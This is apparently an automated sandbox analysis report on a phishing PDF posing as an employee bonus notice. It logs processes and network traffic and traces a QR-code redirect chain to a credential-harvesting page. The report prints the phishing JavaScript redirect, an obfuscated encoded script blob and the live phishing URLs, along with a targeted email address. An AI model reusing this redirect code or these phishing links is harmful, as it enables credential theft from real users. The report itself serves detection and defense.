Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936

Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.4:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49965 version: TLS 1.2

Source: classification engine

Classification label: mal64.phis.winPDF@30/76@23/10

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-12-03 11-53-47-173.log

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Employee_Bonus_Notlce.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1612,i,174092131343990253,18281594203007401030,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.google.mk/url?q=lfarrera@wes.org&wes.org&sa=t&url=amp/s/xix-i.s3.us-west-2.amazonaws.com/ff.mp3.html#bGZhcnJlcmFAd2VzLm9yZw==
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=1996,i,18016529301034544980,10906069851413136034,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1612,i,174092131343990253,18281594203007401030,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=1996,i,18016529301034544980,10906069851413136034,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Employee_Bonus_Notlce.pdf	Initial sample: PDF keyword /JS count = 0
Source: Employee_Bonus_Notlce.pdf	Initial sample: PDF keyword /JavaScript count = 0

Source: Employee_Bonus_Notlce.pdf

Initial sample: PDF keyword /EmbeddedFile count = 0

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	1 System Information Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://yamami.com.sa/paper/karoke/index#bGZhcnJlcmFAd2VzLm9yZw==	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering
https://yamami.com.sa/paper/karoke/index	0%	Avira URL Cloud	safe
https://xix-i.s3.us-west-2.amazonaws.com/ff.mp3.html	0%	Avira URL Cloud	safe
https://yamami.com.sa/paper/karoke/style.css	0%	Avira URL Cloud	safe
https://yamami.com.sa/paper/karoke/image/logo.png	0%	Avira URL Cloud	safe
https://yamami.com.sa/paper/karoke/index#	0%	Avira URL Cloud	safe
https://yamami.com.sa/favicon.ico	0%	Avira URL Cloud	safe
https://yamami.com.sa/paper/karoke/script.js	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
d26p066pn2w0s0.cloudfront.net	13.227.8.47	true	false	high
ipapi.co	172.67.69.226	true	false	high
www.google.mk	172.217.19.227	true	false	high
s3-r-w.us-west-2.amazonaws.com	52.92.196.250	true	false	high
www.google.com	142.250.181.100	true	false	high
api.ipify.org	172.67.74.152	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	84.201.211.38	true	false	high
yamami.com.sa	136.243.57.80	true	true	unknown
xix-i.s3.us-west-2.amazonaws.com	unknown	unknown	true	unknown
x1.i.lencr.org	unknown	unknown	false	high
logo.clearbit.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://yamami.com.sa/paper/karoke/index	false	Avira URL Cloud: safe	unknown
https://xix-i.s3.us-west-2.amazonaws.com/ff.mp3.html	false	Avira URL Cloud: safe	unknown
https://www.google.mk/amp/s/xix-i.s3.us-west-2.amazonaws.com/ff.mp3.html	false		high
https://www.google.mk/url?q=lfarrera@wes.org&wes.org&sa=t&url=amp/s/xix-i.s3.us-west-2.amazonaws.com/ff.mp3.html	false		high
https://api.ipify.org/?format=json	false		high
https://yamami.com.sa/paper/karoke/index#bGZhcnJlcmFAd2VzLm9yZw==	true	SlashNext: Credential Stealing type: Phishing & Social Engineering	unknown
https://logo.clearbit.com/wes.org?size=256	false		high
https://yamami.com.sa/paper/karoke/style.css	false	Avira URL Cloud: safe	unknown
https://yamami.com.sa/paper/karoke/image/logo.png	false	Avira URL Cloud: safe	unknown
https://yamami.com.sa/favicon.ico	false	Avira URL Cloud: safe	unknown
https://ipapi.co/json/	false		high
https://yamami.com.sa/paper/karoke/script.js	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.1.dr	false		high
https://yamami.com.sa/paper/karoke/index#	chromecache_184.5.dr	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css	chromecache_188.5.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.217.19.227	www.google.mk	United States	15169	GOOGLEUS	false
136.243.57.80	yamami.com.sa	Germany	24940	HETZNER-ASDE	true
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
52.92.196.250	s3-r-w.us-west-2.amazonaws.com	United States	16509	AMAZON-02US	false
13.227.8.47	d26p066pn2w0s0.cloudfront.net	United States	16509	AMAZON-02US	false
172.67.74.152	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
172.67.69.226	ipapi.co	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.9
192.168.2.4

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1567653
Start date and time:	2024-12-03 17:52:52 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowspdfcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Employee_Bonus_Notlce.pdf
Detection:	MAL
Classification:	mal64.phis.winPDF@30/76@23/10
Cookbook Comments:	Found application associated with file extension: .pdf Found PDF document Close Viewer

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.218.208.137, 162.159.61.3, 172.64.41.3, 216.58.208.227, 172.217.19.238, 74.125.205.84, 52.6.155.20, 52.22.41.97, 3.233.129.217, 3.219.243.226, 23.32.239.56, 2.19.198.27, 34.104.35.123, 23.195.39.65, 2.20.68.207, 2.20.68.228, 84.201.211.38, 2.20.40.170, 192.229.221.95, 172.217.19.234, 172.217.19.202, 172.217.17.42, 172.217.17.74, 142.250.181.10, 172.217.19.170, 142.250.181.138, 216.58.208.234, 142.250.181.106, 172.217.17.35, 172.217.17.78
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, e4578.dscb.akamaiedge.net, clientservices.googleapis.com, acroipm2.adobe.com, clients2.google.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, update.googleapis.com, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, ssl.adobe.com.edgekey.net, edgedl.me.gvt1.com, armmf.adobe.com, clients.l.google.com, geo2.adobe.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Employee_Bonus_Notlce.pdf

Simulations

Behavior and APIs

Time	Type	Description
11:53:56	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

QR Codes

Source	URL
Screenshot	https://www.google.mk/url?q=lfarrera@wes.org&wes.org&sa=t&url=amp/s/xix-i.s3.us-west-2.amazonaws.com/ff.mp3.html#bGZhcnJlcmFAd2VzLm9yZw==

LLM Input / Output

Input	Output
URL: PDF document Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Scan the QR code with your mobile camera to access your personalized bonus details securely.", "prominent_button_name": "Scan Here to View Bonus Details", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": true, "contains_chinese_text": false }

URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "Script contains heavily obfuscated code (base64/encoded string) with a 'secretkey' variable. The presence of encoded content of this size combined with a secret key suggests potential malicious behavior, as legitimate scripts rarely need this level of obfuscation. This pattern is commonly associated with malware or malicious code trying to evade detection." }
var key = "secretkey"; var encodedScript = "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
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "High risk due to suspicious redirect behavior. Script extracts data from URL hash and redirects to an uncommon domain (yamami.com.sa) while preserving the encoded parameter. This pattern is commonly used in phishing attacks to maintain user data across redirects. The domain appears non-standard and the path structure (/paper/karoke/) seems potentially deceptive." }
// Get the encoded email parameter from the URL hash var emailEncoded = window.location.hash.substring(1); // Remove the first character '#' // Redirect to the specified URL with the encoded email parameter window.location.href = "https://yamami.com.sa/paper/karoke/index#" + emailEncoded;
URL: PDF document Model: Joe Sandbox AI	{ "brands": [ "WES" ] }
	{ "brands": [ "WES" ] }
URL: https://yamami.com.sa/paper/karoke/index#bGZhcnJlcmFAd2VzLm9yZw== Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "We need to verify it's you", "prominent_button_name": "Verify Email", "text_input_field_labels": ["Please confirm your email address to continue"], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://yamami.com.sa Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://yamami.com.sa
